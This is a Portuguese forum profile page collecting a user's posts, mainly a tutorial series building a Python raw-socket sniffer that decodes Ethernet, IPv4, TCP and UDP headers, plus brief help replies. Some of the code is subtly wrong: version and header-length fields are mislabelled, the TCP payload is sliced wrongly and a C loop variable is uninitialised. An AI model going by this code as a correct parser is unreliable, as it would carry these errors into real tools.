Ir para conteúdo
  • Cadastre-se

gnoo

Membros
  • Total de itens

    98
  • Registro em

  • Última visita

Tudo que gnoo postou

  1. Saudações, hoje reparei que no código que trata os dados do header IPv4, o valor que estava a ser devolvido para o campo "versão", não estava correto, eu estava a devolver o valor do primeiro byte( 8 bits ) que é composto pela versão e o tamanho do Header, em vez de apanhar apenas os primeiros 4 bits, e por consequência o valor do tamanho do header também estava errado.... e fiz a correção. Só Deus sabe o porquê de eu fazer um coisa dessas.... Fiz comparação de valores com o wireshark e os valores que são devolvidos são iguais e estão corretos ( penso eu ).... Resolvi avisar para o caso de alguém estar a usar o código para alguma coisa saber que esses valores não estavam corretos. Peço desculpa se induzi alguém em erro a correção pode ser vista em: abraço.
  2. gnoo

    Gostaria de sugestões de tema para TCC

    @R3n4to Boa! Depois partilha esse trabalho aqui se for possível. Boa sorte ☺️
  3. gnoo

    Como parar um While?

    @Gabriel de Lima Desculpa. Mas nesse caso não te posso ajudar eu não tenho conhecimento nesse campo vou marcar aqui o @Fernando Mercês Pode ser que ele te ajude... Ou talvez apareça outra pessoa. Abraço
  4. gnoo

    Como parar um While?

    ola @Gabriel de Lima espero que esteja tudo bem contigo :) Olha eu não consigo de momento dar-te um código como exemplo porque estás a usar headers do windows que eu não tenho no meu sistema. Mas o que te posso dizer é que o teu problema está na tua lógica, tu quando defines a função func_001() , essa função tem retornar um valor para que ao chamar essa função na função main() tu possas comparar esse valor numa estrutura de decisão e se essa comparação for verdadeira então chamas o break para interromper esse ciclo de repetição, ou seja dentro do teu cico while está a faltar uma comparação entre dois valores um deles retornado fa tua função func_001(). Vou deixar este código para ver se perceber o que quero dizer e se consegues estruturar o teu raciocínio... #include<stdio.h> int soma(void){ int num1 = 4, num2 = 3, soma_numeros; soma_numeros = num1 + num2; return soma_numeros; }; int main(void){ int x; int total = soma(); while( x < 10){ printf("%d\n", x); x++; if(x == total){ break; } } }; eu penso que seja essa a solução mas eu não sou especialista em C, talvez alguém tenha outro tipo de abordagem que eu desconheço. Abraço.
  5. gnoo

    Gostaria de sugestões de tema para TCC

    Olá @R3n4to tudo bem? Podia ser interessante pegar neste tema sobre os routers e as suas configurações, firmewarw, que o @phbs14 trouxe noutro post que podes ver nest link: https://www.mentebinaria.com.br/forums/topic/489-firmware-de-operadoras-em-routers/ Acho que é um assunto que não se fala muito, e é um tema com bastante relevância, especialmente após alguns ataques que foram feitos nos ultimos tempos, tens como exemplo o video que o @Fernando Mercês deixo no canal do youtube, que podes ver aqui. https://www.youtube.com/watch?v=ndQGJdm2Nbk Abraço.
  6. gnoo

    Problema com Google autenticador

    Eu também já tive esse problema pelo menos duas vezes..
  7. Saudações, Este conteúdo está sujeito a erros de interpretação por parte da minha pessoa, se vires algum erro ou achas que tens algo a acrescentar deixa nos comentários para ser corrigido/adicionado... Os conceitos de redes aqui apresentados foram retirados do livro:   neste tópico vamos ver como analisar um pacote UDP, este pacote vem encapsulado no payload / carga, do pacote IP e circula no protocolo 17. A análise do pacote UDP pode ser importante por várias razões, uma delas é porque é através dele que nós chegamos ao DNS que pode ser encontrado na carga deste pacote, e isso para os “hackers” de serviço pode ser importante. Antes de fazer a função para tratar os dados que vêm neste pacote vamos ver algumas características do ser formato. ATENÇÃO: O conteúdo que segue deve ser complementado com a leitura de um livro da especialidade Formato de mensagem UDP Função para tratar os dados do cabeçalho UDP def dados_pacote_udp(carga): tupla_dados_udp = struct.unpack('! H H H H', carga[:8]) porta_fonte = tupla_dados_udp[0] porta_destino = tupla_dados_udp[1] udp_len = tupla_dados_udp[2] udp_checksum = tupla_dados_udp[3] return porta_fonte, porta_destino, udp_len, udp_checksum, carga[8:] Script completo… #coding:utf-8 #!/usr/bin/env python3 from socket import * import struct import binascii # AF_PACKET Familia protocolo (everywere) # ntohs(3) - Permite capturar todos os pacotes com frames ethernet def ethernet_frame(raw_dados): mac_destino, mac_fonte, protocolo = struct.unpack('! 6s 6s H', raw_dados[:14]) return byte_to_hex_mac(mac_destino), byte_to_hex_mac(mac_fonte), htons(protocolo), raw_dados[14:] def byte_to_hex_mac(mac_em_bytes): endereco = binascii.hexlify(mac_em_bytes).decode("ascii") return ":".join([endereco[i:i+2] for i in range(0,12,2)]) def dados_pacote_ipv4(carga): tupla_dados_ipv4 = struct.unpack("!BBHHHBBH4s4s", carga[:20]) versao = tupla_dados_ipv4[0] header_len = versao >> 4 tipo_servico = tupla_dados_ipv4[1] tamanho_total = tupla_dados_ipv4[2] identificacao = tupla_dados_ipv4[3] offset_fragmento = tupla_dados_ipv4[4] tempo_vida_ttl = tupla_dados_ipv4[5] protocolos = tupla_dados_ipv4[6] checksum_cabecalho = tupla_dados_ipv4[7] ip_origem = inet_ntoa(tupla_dados_ipv4[8]) ip_destino = inet_ntoa(tupla_dados_ipv4[9]) # correção tamanho_header_bytes = (versao & 15) * 4 # Cálculo Tamanho do header em bytes return versao, header_len, tipo_servico, + \ tamanho_total, identificacao, offset_fragmento, + \ tempo_vida_ttl, protocolos, checksum_cabecalho, ip_origem, ip_destino, carga[tamanho_header_bytes:] def dados_pacote_tcp(carga): tupla_dados_tcp = struct.unpack('! HHLLBBHHH', carga[:20]) porta_fonte = tupla_dados_tcp[0] porta_destino = tupla_dados_tcp[1] numero_sequencia = tupla_dados_tcp[2] numero_confirmacao = tupla_dados_tcp[3] # Esta linha recebe dois campos do cabeçalho ( HLEN & RESERVADO ) hlen_e_reservado = tupla_dados_tcp[4] # Esta linha recebe campo HLEN header_len = (hlen_e_reservado >> 4) * 4 flags = tupla_dados_tcp[5] flag_FIN = flags & 1 flag_SYN = (flags >> 1) & 1 flag_RST = (flags >> 2) & 1 flag_PSH = (flags >> 3) & 1 flag_ACK = (flags >> 4) & 1 flag_URG = (flags >> 5) & 1 flag_ECE = (flags >> 6) & 1 flag_CWR = (flags >> 7) & 1 window_size = tupla_dados_tcp[6] checksum = tupla_dados_tcp[7] urgent_pointer = tupla_dados_tcp[8] return porta_fonte, porta_destino ,numero_sequencia, + \ numero_confirmacao, hlen_e_reservado, header_len, + \ flags, flag_FIN, flag_SYN, flag_RST, flag_PSH, flag_ACK, + \ flag_URG, flag_ECE, flag_CWR, window_size, checksum, urgent_pointer , carga[:20] def dados_pacote_udp(carga): tupla_dados_udp = struct.unpack('! H H H H', carga[:8]) porta_fonte = tupla_dados_udp[0] porta_destino = tupla_dados_udp[1] udp_len = tupla_dados_udp[2] udp_checksum = tupla_dados_udp[3] return porta_fonte, porta_destino, udp_len, udp_checksum, carga[8:] sock = socket(AF_PACKET, SOCK_RAW, ntohs(0x0003)) while True: raw_dados, addr = sock.recvfrom(65536) mac_destino, mac_fonte, protocolo, carga_util = ethernet_frame(raw_dados) print("------- FRAME ETHERNET-----------") print("Endereço MAC destino : {}".format(mac_destino)) print("Endereço MAC fonte : {}".format(mac_fonte)) print("Protocolo : {}\n".format(protocolo)) print("Carga útil -> {}\n".format(carga_util)) # A variavel (protocolo) está a referir-se ao # tipo de frame # Se for 8 vem ai pacote IP \0/ if protocolo == 8: """ Para desempacotar os valores da função dados_pacote_ipv4 com as variáveis aninhadas, necessáriamente elas têm que estar entre parênteses... """ ( versao, header_len, tipo_servico, tamanho_total, identificacao, offset_fragmento, tempo_vida_ttl, protocolos, checksum_cabecalho, ip_origem, ip_destino, carga ) = dados_pacote_ipv4(carga_util) print("--------- HEADER IPV4----------") print("Versão : {}".format(versao)) print("Header_len : {}".format(header_len)) print("Tipo Serviço : {}".format(tipo_servico)) print("Tamanho Total : {}".format(tamanho_total)) print("Identificação : {}".format(identificacao)) print("Offset Fragmento : {}".format(offset_fragmento)) print("Tempo vida TTL : {}".format(tempo_vida_ttl)) print("Protocolo : {}".format(protocolos)) print("checksum Cabeçalho : {}".format(checksum_cabecalho)) print("IP Origem: {}".format(ip_origem)) print("IP Destino: {}\n".format(ip_destino)) print("Carga : {}\n".format(carga)) if protocolos == 6: (porta_fonte, porta_destino, numero_sequencia, numero_confirmacao, hlen_e_reservado, header_len, flags, flag_FIN, flag_SYN, flag_RST, flag_PSH, flag_ACK, flag_URG, flag_ECE, flag_CWR, window_size, checksum, urgent_pointer, carga ) = dados_pacote_tcp(carga) print("--------- HEADER TCP----------") print("Porta Fonte : {}".format(porta_fonte)) print("Porta Destino : {}".format(porta_destino)) print("Número Sequência : {}".format(numero_sequencia)) print("Número Confirmação : {}".format(numero_confirmacao)) print("Hlen_e_reservado : {}".format(hlen_e_reservado)) print("Header_len : {}".format(header_len)) print("Flags : {}".format(flags)) print("Flag FIN : {}".format(flag_FIN)) print("Flag SYN : {}".format(flag_SYN)) print("Flag RST : {}".format(flag_RST)) print("Flag PSH : {}".format(flag_PSH)) print("Flag ACK : {}".format(flag_ACK)) print("Flag URG : {}".format(flag_URG)) print("Flag ECE : {}".format(flag_ECE)) print("Flag CWR : {}".format(flag_CWR)) print("window size : {}".format(window_size)) print("checksum : {}".format(checksum)) print("urgent pointer : {}\n".format(urgent_pointer)) print("carga : {}\n".format(carga)) elif protocolos == 17: porta_fonte, porta_destino, udp_len, udp_checksum, carga = dados_pacote_udp(carga) print("--------- HEADER UDP ----------") print("Porta Fonte : {}".format(porta_fonte)) print("Porta Destino : {}".format(porta_destino)) print("UDP Length : {}".format(udp_len)) print("UDP Checksum : {}\n".format(udp_checksum)) print("Carga : {}\n".format(carga)) """ socket.ntohs( x ) Converte inteiros positivos de 16 bits da rede para a ordem de bytes do host. Nas máquinas em que a ordem de bytes do host é igual à ordem de bytes da rede, isso é um não operacional; caso contrário, ele executará uma operação de troca de 2 bytes. ------------------------------------------------------------------------------ socket.htons( x ) Converte inteiros positivos de 16 bits da ordem de bytes do host para a rede. Nas máquinas em que a ordem de bytes do host é igual à ordem de bytes da rede, isso é um não operacional; caso contrário, ele executará uma operação de troca de 2 bytes. """ na função que fizemos para tratar os dados do pacote UDP, estamos a retornar o valor carga[8:], é nesses dados que vamos buscar o DNS, ao aceder ao site: https://www.mentebinaria.com.br podemos ver o dominio e o DNS... são esses dados que temos que tratar... abraços.
  8. Saudações, Este conteúdo está sujeito a erros de interpretação por parte da minha pessoa, se vires algum erro ou achas que tens algo a acrescentar deixa nos comentários para ser corrigido/adicionado... Os conceitos de redes aqui apresentados foram retirados do livro: antes de começar a falar sobre pacotes TCP, temos que fazer uma pequena alteração para complemetar o código anterior na função em que tratamos os dados de um pacote Ipv4, com uma linha de código que vai calcular o tamanho do pacote Ipv4 em bytes, valor esse que serve para fazer o fatiamento da carga que vai ser passada como argumento para a função, que trata os dados do pacote TCP, tendo também que retornar o valor da carga com o fatiamento referido. Eu não vou fazer a alteração no código do post anterior, porque se a intenção for apenas analisar um pacote Ipv4 o código anterior faz essa tarefa, mas para analisar o pacote TCP tem que ser feita essa pequena alteração que vamos ver agora… Na linha tamanho_header_bytes = (versao & 15) * 4 e retornando o valor da carga com o devido fatiamento, carga[tamanho_header_bytes:] Alteração da Função trata dados pacote Ipv4 def dados_pacote_ipv4(carga): tupla_dados_ipv4 = struct.unpack("!BBHHHBBH4s4s", carga[:20]) versao = tupla_dados_ipv4[0] header_len = versao >> 4 tipo_servico = tupla_dados_ipv4[1] tamanho_total = tupla_dados_ipv4[2] identificacao = tupla_dados_ipv4[3] offset_fragmento = tupla_dados_ipv4[4] tempo_vida_ttl = tupla_dados_ipv4[5] protocolos = tupla_dados_ipv4[6] checksum_cabecalho = tupla_dados_ipv4[7] ip_origem = inet_ntoa(tupla_dados_ipv4[8]) ip_destino = inet_ntoa(tupla_dados_ipv4[9]) # Esta linha é a alteração efetuada do tópico anterior tamanho_header_bytes = (versao & 15) * 4 # Cálculo Tamanho do header em bytes return versao, header_len, tipo_servico, + \ tamanho_total, identificacao, offset_fragmento, + \ tempo_vida_ttl, protocolos, checksum_cabecalho, ip_origem, ip_destino, carga[tamanho_header_bytes:] Agora segue o script do tópico anterior completo com as devidas alterações para análise do pacote TCP. #coding:utf-8 #!/usr/bin/env python3 from socket import * import struct import binascii # AF_PACKET Familia protocolo (everywere) # ntohs(3) - Permite capturar todos os pacotes com frames ethernet def ethernet_frame(raw_dados): mac_destino, mac_fonte, protocolo = struct.unpack('! 6s 6s H', raw_dados[:14]) return byte_to_hex_mac(mac_destino), byte_to_hex_mac(mac_fonte), htons(protocolo), raw_dados[14:] def byte_to_hex_mac(mac_em_bytes): endereco = binascii.hexlify(mac_em_bytes).decode("ascii") return ":".join([endereco[i:i+2] for i in range(0,12,2)]) def dados_pacote_ipv4(carga): tupla_dados_ipv4 = struct.unpack("!BBHHHBBH4s4s", carga[:20]) versao = tupla_dados_ipv4[0] header_len = versao >> 4 tipo_servico = tupla_dados_ipv4[1] tamanho_total = tupla_dados_ipv4[2] identificacao = tupla_dados_ipv4[3] offset_fragmento = tupla_dados_ipv4[4] tempo_vida_ttl = tupla_dados_ipv4[5] protocolos = tupla_dados_ipv4[6] checksum_cabecalho = tupla_dados_ipv4[7] ip_origem = inet_ntoa(tupla_dados_ipv4[8]) ip_destino = inet_ntoa(tupla_dados_ipv4[9]) # correção tamanho_header_bytes = (versao & 15) * 4 # Cálculo Tamanho do header em bytes return versao, header_len, tipo_servico, + \ tamanho_total, identificacao, offset_fragmento, + \ tempo_vida_ttl, protocolos, checksum_cabecalho, ip_origem, ip_destino, carga[tamanho_header_bytes:] sock = socket(AF_PACKET, SOCK_RAW, ntohs(0x0003)) while True: raw_dados, addr = sock.recvfrom(65536) mac_destino, mac_fonte, protocolo, carga_util = ethernet_frame(raw_dados) print("------- FRAME ETHERNET-----------") print("Endereço MAC destino : {}".format(mac_destino)) print("Endereço MAC fonte : {}".format(mac_fonte)) print("Protocolo : {}\n".format(protocolo)) print("Carga útil -> {}\n".format(carga_util)) # A variavel (protocolo) está a referir-se ao # tipo de frame # Se for 8 vem ai pacote IP \0/ if protocolo == 8: """ Para desempacotar os valores da função dados_pacote_ipv4 com as variáveis aninhadas, necessáriamente elas têm que estar entre parênteses... """ ( versao, header_len, tipo_servico, tamanho_total, identificacao, offset_fragmento, tempo_vida_ttl, protocolos, checksum_cabecalho, ip_origem, ip_destino, carga ) = dados_pacote_ipv4(carga_util) print("--------- HEADER IPV4----------") print("Versão : {}".format(versao)) print("Header_len : {}".format(header_len)) print("Tipo Serviço : {}".format(tipo_servico)) print("Tamanho Total : {}".format(tamanho_total)) print("Identificação : {}".format(identificacao)) print("Offset Fragmento : {}".format(offset_fragmento)) print("Tempo vida TTL : {}".format(tempo_vida_ttl)) print("Protocolo : {}".format(protocolos)) print("checksum Cabeçalho : {}".format(checksum_cabecalho)) print("IP Origem: {}".format(ip_origem)) print("IP Destino: {}\n".format(ip_destino)) print("Carga : {}\n".format(carga)) Agora que já temos as alterações feitas, antes de avançar e fazer a função que trata os dados do pacote TCP, vamos ver algumas caracteristicas desse mesmo pacote. ATENÇÃO: O conteúdo que segue deve ser complementado com a leitura de um livro da especialidade Formato do segmento TCP NOTA: O campo (bits de código) entenda-se, flags. NOTA: de forma a compreender melhor os valores da variável ( flags ), que aparece na função que vamos fazer a seguir deves ler a matéria que segue neste link https://www.manitonetworks.com/flow-management/2016/10/16/decoding-tcp-flags Função para tratar os dados do cabeçalho TCP def dados_pacote_tcp(carga): tupla_dados_tcp = struct.unpack('! HHLLBBHHH', carga[:20]) porta_fonte = tupla_dados_tcp[0] porta_destino = tupla_dados_tcp[1] numero_sequencia = tupla_dados_tcp[2] numero_confirmacao = tupla_dados_tcp[3] # Esta linha recebe dois campos do cabeçalho ( HLEN & RESERVADO ) hlen_e_reservado = tupla_dados_tcp[4] # Esta linha recebe campo HLEN header_len = (hlen_e_reservado >> 4) * 4 # variável flags flags = tupla_dados_tcp[5] flag_FIN = flags & 1 flag_SYN = (flags >> 1) & 1 flag_RST = (flags >> 2) & 1 flag_PSH = (flags >> 3) & 1 flag_ACK = (flags >> 4) & 1 flag_URG = (flags >> 5) & 1 flag_ECE = (flags >> 6) & 1 flag_CWR = (flags >> 7) & 1 window_size = tupla_dados_tcp[6] checksum = tupla_dados_tcp[7] urgent_pointer = tupla_dados_tcp[8] return porta_fonte, porta_destino ,numero_sequencia, + \ numero_confirmacao, hlen_e_reservado, header_len, + \ flags, flag_FIN, flag_SYN, flag_RST, flag_PSH, flag_ACK, + \ flag_URG, flag_ECE, flag_CWR, window_size, checksum, urgent_pointer Script Completo.... #coding:utf-8 #!/usr/bin/env python3 from socket import * import struct import binascii # AF_PACKET Familia protocolo (everywere) # ntohs(3) - Permite capturar todos os pacotes com frames ethernet def ethernet_frame(raw_dados): mac_destino, mac_fonte, protocolo = struct.unpack('! 6s 6s H', raw_dados[:14]) return byte_to_hex_mac(mac_destino), byte_to_hex_mac(mac_fonte), htons(protocolo), raw_dados[14:] def byte_to_hex_mac(mac_em_bytes): endereco = binascii.hexlify(mac_em_bytes).decode("ascii") return ":".join([endereco[i:i+2] for i in range(0,12,2)]) def dados_pacote_ipv4(carga): tupla_dados_ipv4 = struct.unpack("!BBHHHBBH4s4s", carga[:20]) versao = tupla_dados_ipv4[0] header_len = versao >> 4 tipo_servico = tupla_dados_ipv4[1] tamanho_total = tupla_dados_ipv4[2] identificacao = tupla_dados_ipv4[3] offset_fragmento = tupla_dados_ipv4[4] tempo_vida_ttl = tupla_dados_ipv4[5] protocolos = tupla_dados_ipv4[6] checksum_cabecalho = tupla_dados_ipv4[7] ip_origem = inet_ntoa(tupla_dados_ipv4[8]) ip_destino = inet_ntoa(tupla_dados_ipv4[9]) # correção tamanho_header_bytes = (versao & 15) * 4 # Cálculo Tamanho do header em bytes return versao, header_len, tipo_servico, + \ tamanho_total, identificacao, offset_fragmento, + \ tempo_vida_ttl, protocolos, checksum_cabecalho, ip_origem, ip_destino, carga[tamanho_header_bytes:] def dados_pacote_tcp(carga): tupla_dados_tcp = struct.unpack('! HHLLBBHHH', carga[:20]) porta_fonte = tupla_dados_tcp[0] porta_destino = tupla_dados_tcp[1] numero_sequencia = tupla_dados_tcp[2] numero_confirmacao = tupla_dados_tcp[3] # Esta linha recebe dois campos do cabeçalho ( HLEN & RESERVADO ) hlen_e_reservado = tupla_dados_tcp[4] # Esta linha recebe campo HLEN header_len = (hlen_e_reservado >> 4) * 4 flags = tupla_dados_tcp[5] flag_FIN = flags & 1 flag_SYN = (flags >> 1) & 1 flag_RST = (flags >> 2) & 1 flag_PSH = (flags >> 3) & 1 flag_ACK = (flags >> 4) & 1 flag_URG = (flags >> 5) & 1 flag_ECE = (flags >> 6) & 1 flag_CWR = (flags >> 7) & 1 window_size = tupla_dados_tcp[6] checksum = tupla_dados_tcp[7] urgent_pointer = tupla_dados_tcp[8] return porta_fonte, porta_destino ,numero_sequencia, + \ numero_confirmacao, hlen_e_reservado, header_len, + \ flags, flag_FIN, flag_SYN, flag_RST, flag_PSH, flag_ACK, + \ flag_URG, flag_ECE, flag_CWR, window_size, checksum, urgent_pointer sock = socket(AF_PACKET, SOCK_RAW, ntohs(0x0003)) while True: raw_dados, addr = sock.recvfrom(65536) mac_destino, mac_fonte, protocolo, carga_util = ethernet_frame(raw_dados) print("------- FRAME ETHERNET-----------") print("Endereço MAC destino : {}".format(mac_destino)) print("Endereço MAC fonte : {}".format(mac_fonte)) print("Protocolo : {}\n".format(protocolo)) print("Carga útil -> {}\n".format(carga_util)) # A variavel (protocolo) está a referir-se ao # tipo de frame # Se for 8 vem ai pacote IP \0/ if protocolo == 8: """ Para desempacotar os valores da função dados_pacote_ipv4 com as variáveis aninhadas, necessáriamente elas têm que estar entre parênteses... """ ( versao, header_len, tipo_servico, tamanho_total, identificacao, offset_fragmento, tempo_vida_ttl, protocolos, checksum_cabecalho, ip_origem, ip_destino, carga ) = dados_pacote_ipv4(carga_util) print("--------- HEADER IPV4----------") print("Versão : {}".format(versao)) print("Header_len : {}".format(header_len)) print("Tipo Serviço : {}".format(tipo_servico)) print("Tamanho Total : {}".format(tamanho_total)) print("Identificação : {}".format(identificacao)) print("Offset Fragmento : {}".format(offset_fragmento)) print("Tempo vida TTL : {}".format(tempo_vida_ttl)) print("Protocolo : {}".format(protocolos)) print("checksum Cabeçalho : {}".format(checksum_cabecalho)) print("IP Origem: {}".format(ip_origem)) print("IP Destino: {}\n".format(ip_destino)) print("Carga : {}\n".format(carga)) if protocolos == 6: (porta_fonte, porta_destino, numero_sequencia, numero_confirmacao, hlen_e_reservado, header_len, flags, flag_FIN, flag_SYN, flag_RST, flag_PSH, flag_ACK, flag_URG, flag_ECE, flag_CWR, window_size, checksum, urgent_pointer ) = dados_pacote_tcp(carga) print("--------- HEADER TCP----------") print("Porta Fonte : {}".format(porta_fonte)) print("Porta Destino : {}".format(porta_destino)) print("Número Sequência : {}".format(numero_sequencia)) print("Número Confirmação : {}".format(numero_confirmacao)) print("Hlen_e_reservado : {}".format(hlen_e_reservado)) print("Header_len : {}".format(header_len)) print("Flags : {}".format(flags)) print("Flag FIN : {}".format(flag_FIN)) print("Flag SYN : {}".format(flag_SYN)) print("Flag RST : {}".format(flag_RST)) print("Flag PSH : {}".format(flag_PSH)) print("Flag ACK : {}".format(flag_ACK)) print("Flag URG : {}".format(flag_URG)) print("Flag ECE : {}".format(flag_ECE)) print("Flag CWR : {}".format(flag_CWR)) print("window size : {}".format(window_size)) print("checksum : {}".format(checksum)) print("urgent pointer : {}".format(urgent_pointer)) """ socket.ntohs( x ) Converte inteiros positivos de 16 bits da rede para a ordem de bytes do host. Nas máquinas em que a ordem de bytes do host é igual à ordem de bytes da rede, isso é um não operacional; caso contrário, ele executará uma operação de troca de 2 bytes. ------------------------------------------------------------------------------ socket.htons( x ) Converte inteiros positivos de 16 bits da ordem de bytes do host para a rede. Nas máquinas em que a ordem de bytes do host é igual à ordem de bytes da rede, isso é um não operacional; caso contrário, ele executará uma operação de troca de 2 bytes. """ Em seguida vamos fazer o UDP… Abraço. 
  9. Saudações, Este conteúdo está sujeito a erros de interpretação por parte da minha pessoa, se vires algum erro ou achas que tens algo a acrescentar deixa nos comentários para ser corrigido/adicionado... vamos ver como extrair e analisar dados de um cabeçalho ipv4, existe várias formas de fazer este tipo de operação, esta é a mais fácil fazer e a mais fácil de perceber para quem não tem muita prática ou simplesmente desconhece operadores Bitwise ( Bit-a-Bit ), essa sim, do ponto de vista técnico seria a mais indicada. Os conceitos de redes aqui apresentados foram retirados do livro: Capitulo 7 Qualquer das formas vamos usar um dos operadores Bitwise que se chama shift right, para extrair os valor do campo header lenght, e por curiosidade vou deixar uma tabela com os operadores bitwise para quem nunca viu, e serve também para se alguma vez encontrares um código que contenha esses operadores já sabes do que se trata, até porque na maioria das vezes os códigos são apenas expostos sem que se perceba ou haja indicação do que ali está e o que faz. Tabela Operadores Bitwise: Pegando no código anterior apresentado neste tópico: Se olharmos para o que já temos...foi montado um socket em “escuta”, que não está assente em nenhum protocolo em específico, e estamos a começar a capturar e analisar os frames ethernet que nos chegam e que saem do nosso sistema. A variável protocolo que na realidade quer dizer tipo de frame, é o que nos vai dizer que tipo de pacotes estão a chegar e em que protocolo se deslocam. Antes de continuar eu gostaria de dizer que fiz merda porque deveria ter começado pelo protocolo ARP que, mas agora continuamos pelo caminho que está a seguir e seja o que deus quiser. Então como estava a dizer a variável protocolo diz-nos que tipo de pacote que nos chega e em que protocolo se desloca, neste caso eu já tinha definido que seria o 8, eu imagino que algumas pessoas poderão estar a perguntar, “mas porque o 8?”, “como é que ele chegou ao 8?”. Isso é uma pergunta muito inteligente de fazer… O 8, se repararem bem na função ethernet_frame os valores que nos está a retornar, temos lá outra variável protocolo que está a ser passada como argumento para a função htons() da lib socket, e se olharem com atenção no fim do script, está lá num comentário que diz o que essa função faz, vamos relembrar… Agora vamos ver um exemplo prático para perceber o que está a acontecer naquela função. Se entrarem nesta página( que poderia ser outra qualquer ), que contém alguns dos tipos de ethernet que existem e estão definidos pela IEEE Registration Authority : https://en.wikipedia.org/wiki/EtherType No fim da página temos uma tabela com alguns dos tipos ethernet e os protocolos que representam: Então se passarmos os valores no campo EtherType como argumentos na função htons, vai-nos devolver um valor inteiro, vamos ver o resultado… Ok agora já sabemos de onde vem o tal 8, e com isso sabemos que vem de lá um pacote Ipv4, e é isso mesmo que vamos analisar em seguida, mas antes vamos ver algumas características deste tipo de pacote… O datagrama IP Formato do datagrama Ipv4 A Figura 7.3 mostra a disposição de campos em um datagrama Ipv4. Bibliografia : Interligação de redes com TCP/IP 6ºed capitulo 7 Agora que já sabemos algumas da características deste pacote vamos fazer uma função para tratar estes dados. Como já tinha dito anteriormente esta não é a forma mais eficiente de o fazer mas é a mais fácil de interpretar… def dados_pacote_ipv4(carga): tupla_dados_ipv4 = struct.unpack("!BBHHHBBH4s4s", carga[:20]) versao_e_HLEN = tupla_dados_ipv4[0] versao = versao_e_HLEN >> 4 tamanho_header = (versao_e_HLEN & 15) * 4 tipo_servico = tupla_dados_ipv4[1] tamanho_total = tupla_dados_ipv4[2] identificacao = tupla_dados_ipv4[3] offset_fragmento = tupla_dados_ipv4[4] tempo_vida_ttl = tupla_dados_ipv4[5] protocolos = tupla_dados_ipv4[6] checksum_cabecalho = tupla_dados_ipv4[7] ip_origem = inet_ntoa(tupla_dados_ipv4[8]) ip_destino = inet_ntoa(tupla_dados_ipv4[9]) return versao, tamanho_header, tipo_servico, + \ tamanho_total, identificacao, offset_fragmento, + \ tempo_vida_ttl, protocolos, checksum_cabecalho, ip_origem, ip_destino Esta linha ( versao = versao_e_HLEN >> 4 ) que foi definida na função anterior, e como tinhamos visto que iriamos usar o operador Bitwise Right shift, o que este operador faz é, avança 4 bits apanhando assim o campo versao, que de outra forma não seria possível... Então para montar o código vamos usar a variável protocolo da função ethernet_frame, criando uma estrutura de decisão, com o seguinte raciocinio… “Se protocolo ( tipo ethernet ) for equivalente a 8 ( representa ipv4), então passamos a carga util do frame ethernet como argumento na função dados_pacote_ipv4”… e realizamos a saida de dados. Script Completo… #coding:utf-8 #!/usr/bin/env python3 from socket import * import struct import binascii # AF_PACKET Familia protocolo (everywere) # ntohs(3) - Permite capturar todos os pacotes com frames ethernet def ethernet_frame(raw_dados): mac_destino, mac_fonte, protocolo = struct.unpack('! 6s 6s H', raw_dados[:14]) return byte_to_hex_mac(mac_destino), byte_to_hex_mac(mac_fonte), htons(protocolo), raw_dados[14:] def byte_to_hex_mac(mac_em_bytes): endereco = binascii.hexlify(mac_em_bytes).decode("ascii") return ":".join([endereco[i:i+2] for i in range(0,12,2)]) def dados_pacote_ipv4(carga): tupla_dados_ipv4 = struct.unpack("!BBHHHBBH4s4s", carga[:20]) versao_e_HLEN = tupla_dados_ipv4[0] versao = versao_e_HLEN >> 4 tamanho_header = (versao_e_HLEN & 15) * 4 tipo_servico = tupla_dados_ipv4[1] tamanho_total = tupla_dados_ipv4[2] identificacao = tupla_dados_ipv4[3] offset_fragmento = tupla_dados_ipv4[4] tempo_vida_ttl = tupla_dados_ipv4[5] protocolos = tupla_dados_ipv4[6] checksum_cabecalho = tupla_dados_ipv4[7] ip_origem = inet_ntoa(tupla_dados_ipv4[8]) ip_destino = inet_ntoa(tupla_dados_ipv4[9]) return versao, tamanho_header, tipo_servico, + \ tamanho_total, identificacao, offset_fragmento, + \ tempo_vida_ttl, protocolos, checksum_cabecalho, ip_origem, ip_destino sock = socket(AF_PACKET, SOCK_RAW, ntohs(0x0003)) while True: raw_dados, addr = sock.recvfrom(65536) mac_destino, mac_fonte, protocolo, carga_util = ethernet_frame(raw_dados) print("------- FRAME ETHERNET-----------") print("Endereço MAC destino : {}".format(mac_destino)) print("Endereço MAC fonte : {}".format(mac_fonte)) print("Protocolo : {}\n".format(protocolo)) print("Carga útil -> {}\n".format(carga_util)) # A variavel (protocolo) está a referir-se ao # tipo de frame # Se for 8 vem ai pacote IP \0/ if protocolo == 8: """ Para desempacotar os valores da função dados_pacote_ipv4 com as variáveis aninhadas, necessáriamente elas têm que estar entre parênteses... """ ( versao, header_len, tipo_servico, tamanho_total, identificacao, offset_fragmento, tempo_vida_ttl, protocolos, checksum_cabecalho, ip_origem, ip_destino ) = dados_pacote_ipv4(carga_util) print("--------- HEADER IPV4----------") print("Versão : {}".format(versao)) print("Header_len : {}".format(header_len)) print("Tipo Serviço : {}".format(tipo_servico)) print("Tamanho Total : {}".format(tamanho_total)) print("Identificação : {}".format(identificacao)) print("Offset Fragmento : {}".format(offset_fragmento)) print("Tempo vida TTL : {}".format(tempo_vida_ttl)) print("Protocolo : {}".format(protocolos)) print("checksum Cabeçalho : {}".format(checksum_cabecalho)) print("IP Origem: {}".format(ip_origem)) print("IP Destino: {}\n".format(ip_destino)) """ socket.ntohs( x ) Converte inteiros positivos de 16 bits da rede para a ordem de bytes do host. Nas máquinas em que a ordem de bytes do host é igual à ordem de bytes da rede, isso é um não operacional; caso contrário, ele executará uma operação de troca de 2 bytes. ------------------------------------------------------------------------------ socket.htons( x ) Converte inteiros positivos de 16 bits da ordem de bytes do host para a rede. Nas máquinas em que a ordem de bytes do host é igual à ordem de bytes da rede, isso é um não operacional; caso contrário, ele executará uma operação de troca de 2 bytes. """ Num próximo episódio vamos estar a ver mais pacotes, estes agora que vêm na carga / payload, do pacote IP, é para isso que a função dados_pacote_ipv4 que definimos anteriormente tem uma variável protocolos que vai armazenar o valor do protocolo que lá vem para nós sabermos que dados temos que trabalhar…. Em seguida vamos fazer o TCP… Abraço.
